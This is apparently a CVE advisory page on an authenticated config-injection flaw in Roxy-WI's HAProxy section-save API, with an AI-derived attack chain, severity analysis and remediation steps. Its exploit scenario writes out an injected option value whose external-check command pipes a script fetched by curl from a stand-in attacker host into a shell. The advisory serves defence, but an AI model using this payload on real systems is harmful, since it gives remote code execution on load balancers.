Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain role ≤ 3 Roxy-WI credentials
-
DeliveryIdentify accessible HAProxy server group
-
ExploitPOST crafted option field to section-save endpoint
-
InstallRoxy-WI renders payload into haproxy.cfg via Ansible template
-
C2systemctl reload haproxy applies injected external-check command
-
ExecuteShell executes as haproxy user on each health-check tick
-
ImpactEstablish persistence and pivot from load balancer
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Requires an authenticated Roxy-WI account with role ≤ 3 ('user' role) that has access to at least one HAProxy server group, and network reachability to the Roxy-WI API (typically the management web interface). The attacker must target one of the HAProxy section-save endpoints - POST /api/service/haproxy/<server_id>/section/<section_type> or the PUT global/defaults variants - and the managed HAProxy backend must process external-check directives (default behavior). Limiting factors: an unauthenticated attacker cannot exploit this directly (PR:L), and the impact is bounded to load balancers within the compromised user's assigned group rather than the entire fleet. No user interaction is required and no non-default HAProxy configuration is needed on the target load balancer. |
| Impact | The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects high real-world risk: network-reachable, low complexity, only a low-privileged role-3 'user' account is required, no user interaction needed, and the scope change captures the pivot from the Roxy-WI app to the underlying load balancer host. EPSS data was not provided and the CVE is not on CISA KEV, so there is no confirmed active exploitation, but the description provides a complete working primitive (option external-check + external-check command /bin/bash -c '…'), which substantially lowers the barrier to weaponization. The most significant aggravator is that the bug is unpatched at time of publication, so organizations exposing Roxy-WI to any semi-trusted user population should treat this as urgent. The main mitigating factor is the PR:L requirement - internet-exposed instances with self-registration or weak credential hygiene face the highest real risk. |
| Exploit ScenarioDerived | An attacker with any role-3 user account (e.g., a low-privilege internal user, a compromised credential, or a tenant on a shared Roxy-WI instance) sends a crafted POST to /api/service/haproxy/<server_id>/section/<section_type> with an option field containing 'external-check\n external-check command /bin/bash -c "curl attacker.tld/sh|sh"'. Roxy-WI renders this verbatim into the HAProxy config via the Ansible template, pushes it to the load balancer, and runs systemctl reload haproxy; the injected shell command then executes as the haproxy user on every health-check tick, giving the attacker persistent code execution on every load balancer in the victim's group. No public exploit is identified at time of analysis, but the advisory description itself contains the working primitive. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 10, 2026
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated low-privilege users (role ≤ 3) to inject arbitrary HAProxy directives via unvalidated JSON option fields in the HAProxy section-save API endpoints, achieving command execution as the haproxy user on every managed load balancer. No public exploit has been identified at time of analysis, but the attack is straightforward given the documented injection path through the section.j2, global.j2, and defaults.j2 Ansible templates, and no vendor-released patch is available.
RemediationAI
No vendor-released patch is identified at time of analysis - the GHSA-w2x4-66jj-3597 advisory explicitly states no public patches exist. Until a fixed release ships, restrict access to the Roxy-WI management interface to a trusted administrator network only (VPN or bastion), audit and remove any role ≤ 3 (user) accounts that do not strictly require HAProxy section editing, and consider temporarily disabling the section-save API endpoints (POST /api/service/haproxy/<server_id>/section/<section_type> and the PUT global/defaults variants) at a reverse proxy layer if your workflow allows - the trade-off is that legitimate users will lose the ability to edit HAProxy sections through the UI. As a detective control, monitor generated haproxy.cfg files on managed load balancers for unexpected external-check or external-check command directives, and watch for shells spawned by the haproxy user. Track the GHSA advisory at https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-w2x4-66jj-3597 for the patched version announcement.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Roxy-WI is a Python/Flask-based web interface that orchestrates HAProxy, Nginx, Apache, and Keepalived configurations and pushes them to managed nodes via Ansible templates. The vulnerability is a CWE-20 Improper Input Validation flaw: the option field accepted by POST /api/service/haproxy/<server_id>/section/<section_type> and the PUT global/defaults variants is rendered verbatim into HAProxy configuration files through Jinja2 templates without escaping. Because HAProxy supports the option external-check directive paired with external-check command, which executes a shell command on every health-check tick, injecting these directives turns a config-injection bug into reliable code execution on the load balancer host. The affected CPE is cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:* covering all versions up to and including 8.2.6.4.
Know when Roxy Wi gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionNVD
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, the HAProxy section-save endpoints (POST /api/service/haproxy/<server_id>/section/<section_type> and the PUT / global / defaults variants) accept a JSON option field that is not validated, not escaped, and is rendered verbatim into the generated HAProxy configuration via the section.j2, global.j2, and defaults.j2 Ansible templates. Because Roxy-WI then pushes the generated config to the load balancer and runs systemctl reload haproxy, an authenticated user with role ≤ 3 (user) can inject arbitrary HAProxy directives into the config that runs on every load balancer their group manages - including option external-check + external-check command /bin/bash -c '…', which gives remote code execution on the load balancer as the haproxy user on every health-check tick. At time of publication, there are no publicly available patches.
Articles & Coverage 4
Executive ViewAI
Roxy-WI versions 8.2.6.4 and prior contain a critical remote code execution vulnerability (CVE-2026-45558, CVSS 9.9) that allows authenticated low-privilege users to inject arbitrary HAProxy directives and execute code as the haproxy user across all managed load balancers in the infrastructure. This threatens the availability and integrity of critical load balancing infrastructure serving customer traffic. No vendor-released patch is available at this time.
Implement network segmentation restricting access to Roxy-WI API endpoints to administrative jump hosts only; deploy API gateway or WAF rules to block JSON payloads targeting section-save endpoints; enforce multi-factor authentication for all Roxy-WI administrative accounts; implement centralized logging and real-time alerting on HAProxy configuration file modifications and suspicious directive patterns (e.g., 'execute', 'system', shell metacharacters in option fields); conduct immediate audit of recent Roxy-WI API audit logs for evidence of exploitation; reduce and rotate all low-privilege user credentials with Roxy-WI access.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
Roxy-WI is a Web interface for managing HAProxy, Nginx and Keepalived servers. Rated critical severity (CVSS 9.8), this
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical sever
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated high severity (CVSS 8.8), t
Authenticated command injection in Roxy-WI versions prior to 8.2.8.2 enables attackers to execute arbitrary system comma
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
Roxy-WI is a Web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Rated high severity (CVSS 7.5),
hap-wi/roxy-wi is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated medium severity (CVS
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled cont
Privilege escalation and cross-tenant compromise in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - i
Roxy-WI through 5.2.2.0 allows SQL Injection via check_login. Rated critical severity (CVSS 9.8), this vulnerability is
EUVD-2026-36039
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB